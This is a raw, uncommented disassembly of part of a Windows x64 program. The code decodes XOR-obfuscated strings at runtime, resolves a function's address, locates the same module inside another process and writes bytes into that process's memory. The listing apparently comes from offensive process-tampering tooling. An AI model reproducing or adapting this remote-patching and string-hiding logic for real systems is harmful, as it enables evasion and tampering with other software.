mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x2260], 0x72
mov byte [rbp + 0x2261], 0x59
mov byte [rbp + 0x2262], 0x73
mov byte [rbp + 0x2263], 0x70
mov byte [rbp + 0x2264], 0x76
mov byte [rbp + 0x2265], 0x52
mov byte [rbp + 0x2266], 0x4e
mov byte [rbp + 0x2267], 0x2c
mov byte [rbp + 0x2268], 0x38
mov byte [rbp + 0x2269], 0x36
mov byte [rbp + 0x226a], 0x2c
mov byte [rbp + 0x226b], 0x2b
mov byte [rbp + 0x226c], 0x3d
mov byte [rbp + 0x226d], 0x11
mov byte [rbp + 0x226e], 0xb
mov byte [rbp + 0x226f], 0x1c
mov byte [rbp + 0x2270], 0x18
mov byte [rbp + 0x2271], 0x20
mov byte [rbp + 0x2272], 0x25
mov byte [rbp + 0x2273], 0x6c
mov byte [rbp + 0x2274], 0x3f
mov byte [rbp + 0x2275], 0x2b
mov byte [rbp + 0x2276], 0x3c
mov byte [rbp + 0x2277], 0x70
mov byte [rbp + 0x2278], 0x79
mov byte [rbp + 0x2279], 1
mov byte [rbp + 0x227a], 0x3b
mov byte [rbp + 0x227b], 0x3d
mov byte [rbp + 0x227c], 0x38
mov byte [rbp + 0x227d], 0x7f
mov byte [rbp + 0x227e], 0x6d
mov byte [rbp + 0x227f], 0x78
mov byte [rbp + 0x2280], 0x69
mov byte [rbp + 0x2281], 0x22
mov byte [rbp + 0x2282], 0x5b
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a8], rax
mov rax, qword [rbp + 0x51a8]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x140008882
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rdx
mov qword [rbp + 0x5198], rax
mov dword [rbp + 0x5194], 0
jmp 0x140008878
mov eax, dword [rbp + 0x5194]
movsxd rdx, eax
mov rax, qword [rbp + 0x5198]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5194]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51a0]
mov eax, dword [rbp + 0x5194]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5194], 1
cmp dword [rbp + 0x5194], 0x22
jle 0x140008819
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5190], 0
jmp 0x1400088c7
mov eax, dword [rbp + 0x5190]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5190], 1
cmp dword [rbp + 0x5190], 0x22
jle 0x1400088b0
nop
mov r10, qword [0x14010b048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x2230], 0x71
mov byte [rbp + 0x2231], 0x4c
mov byte [rbp + 0x2232], 0x4c
mov byte [rbp + 0x2233], 0x5f
mov byte [rbp + 0x2234], 0x4a
mov byte [rbp + 0x2235], 0x73
mov byte [rbp + 0x2236], 0x68
mov byte [rbp + 0x2237], 0x17
mov byte [rbp + 0x2238], 0x24
mov byte [rbp + 0x2239], 7
mov byte [rbp + 0x223a], 0x26
mov byte [rbp + 0x223b], 0x37
mov byte [rbp + 0x223c], 0x14
mov byte [rbp + 0x223d], 0x35
mov byte [rbp + 0x223e], 0x1d
mov byte [rbp + 0x223f], 0x2e
mov byte [rbp + 0x2240], 0x3c
mov byte [rbp + 0x2241], 0x3a
mov byte [rbp + 0x2242], 0x25
mov byte [rbp + 0x2243], 0x6c
mov byte [rbp + 0x2244], 0x3f
mov byte [rbp + 0x2245], 0x2b
mov byte [rbp + 0x2246], 0x3c
mov byte [rbp + 0x2247], 0x70
mov byte [rbp + 0x2248], 0x79
mov byte [rbp + 0x2249], 1
mov byte [rbp + 0x224a], 0x3b
mov byte [rbp + 0x224b], 0x3d
mov byte [rbp + 0x224c], 0x38
mov byte [rbp + 0x224d], 0x7f
mov byte [rbp + 0x224e], 0x6d
mov byte [rbp + 0x224f], 0x78
mov byte [rbp + 0x2250], 0x69
mov byte [rbp + 0x2251], 0x22
mov byte [rbp + 0x2252], 0x5b
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5188], rax
mov rax, qword [rbp + 0x5188]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x140008ab7
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5180], rdx
mov qword [rbp + 0x5178], rax
mov dword [rbp + 0x5174], 0
jmp 0x140008aad
mov eax, dword [rbp + 0x5174]
movsxd rdx, eax
mov rax, qword [rbp + 0x5178]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5174]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5180]
mov eax, dword [rbp + 0x5174]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5174], 1
cmp dword [rbp + 0x5174], 0x22
jle 0x140008a4e
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5170], 0
jmp 0x140008afc
mov eax, dword [rbp + 0x5170]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5170], 1
cmp dword [rbp + 0x5170], 0x22
jle 0x140008ae5
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002a37
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.14000253d
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x14010b0c0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x2200], 0x61
mov byte [rbp + 0x2201], 0x40
mov byte [rbp + 0x2202], 0x4a
mov byte [rbp + 0x2203], 0x4c
mov byte [rbp + 0x2204], 0x48
mov byte [rbp + 0x2205], 0x59
mov byte [rbp + 0x2206], 0x52
mov byte [rbp + 0x2207], 0x2e
mov byte [rbp + 0x2208], 0x26
mov byte [rbp + 0x2209], 0x27
mov byte [rbp + 0x220a], 0x2f
mov byte [rbp + 0x220b], 0x37
mov byte [rbp + 0x220c], 1
mov byte [rbp + 0x220d], 3
mov byte [rbp + 0x220e], 0x24
mov byte [rbp + 0x220f], 0x3e
mov byte [rbp + 0x2210], 0x28
mov byte [rbp + 0x2211], 0x3d
mov byte [rbp + 0x2212], 0x2c
mov byte [rbp + 0x2213], 0x6c
mov byte [rbp + 0x2214], 0x3f
mov byte [rbp + 0x2215], 0x2b
mov byte [rbp + 0x2216], 0x3c
mov byte [rbp + 0x2217], 0x70
mov byte [rbp + 0x2218], 0x79
mov byte [rbp + 0x2219], 0x33
mov byte [rbp + 0x221a], 0x3f
mov byte [rbp + 0x221b], 0x38
mov byte [rbp + 0x221c], 0x3a
mov byte [rbp + 0x221d], 0x35
mov byte [rbp + 0x221e], 4
mov byte [rbp + 0x221f], 0x30
mov byte [rbp + 0x2220], 0x30
mov byte [rbp + 0x2221], 0x37
mov byte [rbp + 0x2222], 0x72
mov byte [rbp + 0x2223], 0x66
mov byte [rbp + 0x2224], 0x7d
mov byte [rbp + 0x2225], 0x6e
mov byte [rbp + 0x2226], 0x27
mov byte [rbp + 0x2227], 0x60
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5168], rax
mov rax, qword [rbp + 0x5168]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140008d39
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5160], rdx
mov qword [rbp + 0x5158], rax
mov dword [rbp + 0x5154], 0
jmp 0x140008d2f
mov eax, dword [rbp + 0x5154]
movsxd rdx, eax
mov rax, qword [rbp + 0x5158]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5154]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5160]
mov eax, dword [rbp + 0x5154]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5154], 1
cmp dword [rbp + 0x5154], 0x27
jle 0x140008cd0
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5128], 0
jmp 0x140008d7e
mov eax, dword [rbp + 0x5128]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5128], 1
cmp dword [rbp + 0x5128], 0x27
jle 0x140008d67
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5148], rax
mov rax, qword [rbp + 0x5148]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008e4d
mov rax, qword [rbp + 0x5148]
mov rdx, qword [rbp + 0x5148]
mov qword [rbp + 0x5138], rdx
mov qword [rbp + 0x5130], rax
mov dword [rbp + 0x512c], 0
jmp 0x140008e43
mov eax, dword [rbp + 0x512c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5130]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x512c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5138]
mov eax, dword [rbp + 0x512c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x512c], 1
cmp dword [rbp + 0x512c], 0xb
jle 0x140008de4
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5310], rax
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5120], rax
mov rax, qword [rbp + 0x5120]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140008f37
mov rax, qword [rbp + 0x5120]
mov rdx, qword [rbp + 0x5120]
mov qword [rbp + 0x5110], rdx
mov qword [rbp + 0x5108], rax
mov dword [rbp + 0x5104], 0
jmp 0x140008f2d
mov eax, dword [rbp + 0x5104]
movsxd rdx, eax
mov rax, qword [rbp + 0x5108]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5104]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5110]
mov eax, dword [rbp + 0x5104]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5104], 1
cmp dword [rbp + 0x5104], 0xf
jle 0x140008ece
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5308], rax
mov byte [rbp + 0x21f2], 0x5f
mov byte [rbp + 0x21f3], 0x4f
mov byte [rbp + 0x21f4], 0x55
mov byte [rbp + 0x21f5], 0x5f
mov byte [rbp + 0x21f6], 0x7c
mov byte [rbp + 0x21f7], 0x5a
mov byte [rbp + 0x21f8], 0x5b
mov byte [rbp + 0x21f9], 0x32
mov byte [rbp + 0x21fa], 0x24
mov byte [rbp + 0x21fb], 0x31
mov byte [rbp + 0x21fc], 0x30
mov byte [rbp + 0x21fd], 0x7e
mov byte [rbp + 0x21fe], 0x65
mov byte [rbp + 0x21ff], 0x46
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f8], rax
mov rax, qword [rbp + 0x50f8]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009071
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rdx
mov qword [rbp + 0x50e8], rax
mov dword [rbp + 0x50e4], 0
jmp 0x140009067
mov eax, dword [rbp + 0x50e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50e4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50f0]
mov eax, dword [rbp + 0x50e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50e4], 1
cmp dword [rbp + 0x50e4], 0xd
jle 0x140009008
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5308]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x50c0], 0
jmp 0x1400090b7
mov eax, dword [rbp + 0x50c0]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50c0], 1
cmp dword [rbp + 0x50c0], 0xd
jle 0x1400090a0
nop
mov rax, qword [rbp + 0x5308]
mov qword [rbp + 0x5300], rax
mov rdx, qword [rbp + 0x5300]
mov rax, qword [rbp + 0x5310]
sub rdx, rax
mov dword [rbp + 0x52fc], edx
mov byte [rbp + 0x21e5], 0x5f
mov byte [rbp + 0x21e6], 0x4f
mov byte [rbp + 0x21e7], 0x55
mov byte [rbp + 0x21e8], 0x5f
mov byte [rbp + 0x21e9], 0x72
mov byte [rbp + 0x21ea], 0x58
mov byte [rbp + 0x21eb], 0x59
mov byte [rbp + 0x21ec], 0x33
mov byte [rbp + 0x21ed], 0x24
mov byte [rbp + 0x21ee], 0x36
mov byte [rbp + 0x21ef], 0x79
mov byte [rbp + 0x21f0], 0x64
mov byte [rbp + 0x21f1], 0x45
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d8], rax
mov rax, qword [rbp + 0x50d8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400091f8
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rdx
mov qword [rbp + 0x50c8], rax
mov dword [rbp + 0x50c4], 0
jmp 0x1400091ee
mov eax, dword [rbp + 0x50c4]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50c4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50d0]
mov eax, dword [rbp + 0x50c4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50c4], 1
cmp dword [rbp + 0x50c4], 0xc
jle 0x14000918f
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x52fc]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x50bc], 0
jmp 0x14000923d
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50bc], 1
cmp dword [rbp + 0x50bc], 0xc
jle 0x140009226
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x1400095b4
mov dword [rbp + 0x541c], 0
jmp 0x140009596
mov eax, dword [rbp + 0x541c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x14000958f
lea rax, [rbp + 0x4fbf]
mov qword [rbp + 0x50b0], rax
nop
nop
lea rcx, [rbp + 0x4fbf]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4fbf]
mov rcx, rax
call fcn.14009c9a0
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
mov qword [rbp + 0x50a0], rax
mov rax, qword [rbp + 0x50a0]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x1400093c1
mov rax, qword [rbp + 0x50a8]
mov rdx, qword [rbp + 0x50a8]
mov qword [rbp + 0x5098], rdx
mov qword [rbp + 0x5090], rax
mov dword [rbp + 0x508c], 0
jmp 0x1400093b7
mov eax, dword [rbp + 0x508c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5090]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x508c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5098]
mov eax, dword [rbp + 0x508c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x508c], 1
cmp dword [rbp + 0x508c], 0xb
jle 0x140009358
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.140031660
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x140009583
mov eax, dword [rbp + 0x541c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.140020e80
mov eax, dword [rbp + 0x541c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5420], rax
mov byte [rbp + 0xf6], 0x7b
mov byte [rbp + 0xf7], 0x5b
mov byte [rbp + 0xf8], 0x48
mov byte [rbp + 0xf9], 0x59
mov byte [rbp + 0xfa], 0x5c
mov byte [rbp + 0xfb], 0x5a
mov byte [rbp + 0xfc], 0x5b
mov byte [rbp + 0xfd], 0x32
mov byte [rbp + 0xfe], 0x7b
mov byte [rbp + 0xff], 0x62
mov byte [rbp + 0x100], 0x43
mov eax, dword [rbp + 0x541c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5080], rax
mov rax, qword [rbp + 0x5080]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x14000953d
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5078], rdx
mov qword [rbp + 0x5070], rax
mov dword [rbp + 0x506c], 0
jmp 0x140009533
mov eax, dword [rbp + 0x506c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5070]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x506c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5078]
mov eax, dword [rbp + 0x506c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x506c], 1
cmp dword [rbp + 0x506c], 0xa
jle 0x1400094d4
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5068], 0
jmp 0x140009579
mov eax, dword [rbp + 0x5068]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5068], 1
cmp dword [rbp + 0x5068], 0xa
jle 0x140009562
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400abff0
add dword [rbp + 0x541c], 1
mov eax, dword [rbp + 0x541c]
movsxd rdx, eax
mov eax, dword [rbp + 0x1dc]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x140009289
mov eax, dword [rbp + 0x52fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5420]
add rax, rdx
mov qword [rbp + 0x1d0], rax
mov byte [rbp + 0x1b0], 0x4b
mov byte [rbp + 0x1b1], 0x5f
mov byte [rbp + 0x1b2], 0x56
mov byte [rbp + 0x1b3], 0x53
mov byte [rbp + 0x1b4], 0x49
mov byte [rbp + 0x1b5], 0x5b
mov byte [rbp + 0x1b6], 0x79
mov byte [rbp + 0x1b7], 0x35
mov byte [rbp + 0x1b8], 0x2f
mov byte [rbp + 0x1b9], 0x21
mov byte [rbp + 0x1ba], 2
mov byte [rbp + 0x1bb], 0x20
mov byte [rbp + 0x1bc], 0x21
mov byte [rbp + 0x1bd], 0x34
mov byte [rbp + 0x1be], 0x22
mov byte [rbp + 0x1bf], 0x3b
mov byte [rbp + 0x1c0], 0x3a
mov byte [rbp + 0x1c1], 0x70
mov byte [rbp + 0x1c2], 0x6b
mov byte [rbp + 0x1c3], 0x4c
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rax
mov rax, qword [rbp + 0x5060]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009718
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5058], rdx
mov qword [rbp + 0x5050], rax
mov dword [rbp + 0x504c], 0
jmp 0x14000970e
mov eax, dword [rbp + 0x504c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5050]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x504c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5058]
mov eax, dword [rbp + 0x504c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x504c], 1
cmp dword [rbp + 0x504c], 0x13
jle 0x1400096af
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5028], 0
jmp 0x140009754
mov eax, dword [rbp + 0x5028]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5028], 1
cmp dword [rbp + 0x5028], 0x13
jle 0x14000973d
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x52f0], rax
mov byte [rbp + 0x1a3], 0x53
mov byte [rbp + 0x1a4], 0x5b
mov byte [rbp + 0x1a5], 0x55
mov byte [rbp + 0x1a6], 0x57
mov byte [rbp + 0x1a7], 0x72
mov byte [rbp + 0x1a8], 0x58
mov byte [rbp + 0x1a9], 0x59
mov byte [rbp + 0x1aa], 0x33
mov byte [rbp + 0x1ab], 0x24
mov byte [rbp + 0x1ac], 0x36
mov byte [rbp + 0x1ad], 0x79
mov byte [rbp + 0x1ae], 0x64
mov byte [rbp + 0x1af], 0x45
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rax
mov rax, qword [rbp + 0x5040]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009883
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5038], rdx
mov qword [rbp + 0x5030], rax
mov dword [rbp + 0x502c], 0
jmp 0x140009879
mov eax, dword [rbp + 0x502c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5030]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x502c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5038]
mov eax, dword [rbp + 0x502c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x502c], 1
cmp dword [rbp + 0x502c], 0xc
jle 0x14000981a
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x52f0]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5024], 0
jmp 0x1400098c9
mov eax, dword [rbp + 0x5024]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5024], 1
cmp dword [rbp + 0x5024], 0xc
jle 0x1400098b2
nop
mov r10, qword [0x14010b048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x170], 0x71
mov byte [rbp + 0x171], 0x4c
mov byte [rbp + 0x172], 0x4c
mov byte [rbp + 0x173], 0x5f
mov byte [rbp + 0x174], 0x4a
mov byte [rbp + 0x175], 0x73
mov byte [rbp + 0x176], 0x68
mov byte [rbp + 0x177], 0x17
mov byte [rbp + 0x178], 0x24
mov byte [rbp + 0x179], 7
mov byte [rbp + 0x17a], 0x26
mov byte [rbp + 0x17b], 0x37
mov byte [rbp + 0x17c], 0x14
mov byte [rbp + 0x17d], 0x35
mov byte [rbp + 0x17e], 0x1d
mov byte [rbp + 0x17f], 0x2e
mov byte [rbp + 0x180], 0x3c
mov byte [rbp + 0x181], 0x3a
mov byte [rbp + 0x182], 0x25
mov byte [rbp + 0x183], 0x6c
mov byte [rbp + 0x184], 0x3f
mov byte [rbp + 0x185], 0x2b
mov byte [rbp + 0x186], 0x3c
mov byte [rbp + 0x187], 0x70
mov byte [rbp + 0x188], 0x79
mov byte [rbp + 0x189], 0x21
mov byte [rbp + 0x18a], 0x3b
mov byte [rbp + 0x18b], 0x31
mov byte [rbp + 0x18c], 0x39
mov byte [rbp + 0x18d], 0x3a
mov byte [rbp + 0x18e], 0x34
mov byte [rbp + 0x18f], 0x37
mov byte [rbp + 0x190], 0x3d
mov byte [rbp + 0x191], 0x3f
mov byte [rbp + 0x192], 0x72
mov byte [rbp + 0x193], 0x66
mov byte [rbp + 0x194], 0x7d
mov byte [rbp + 0x195], 0x6e
mov byte [rbp + 0x196], 0x27
mov byte [rbp + 0x197], 0x60
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5018], rax
mov rax, qword [rbp + 0x5018]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009adc
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5010], rdx
mov qword [rbp + 0x5008], rax
mov dword [rbp + 0x5004], 0
jmp 0x140009ad2
mov eax, dword [rbp + 0x5004]
movsxd rdx, eax
mov rax, qword [rbp + 0x5008]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5004]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5010]
mov eax, dword [rbp + 0x5004]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5004], 1
cmp dword [rbp + 0x5004], 0x27
jle 0x140009a73
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
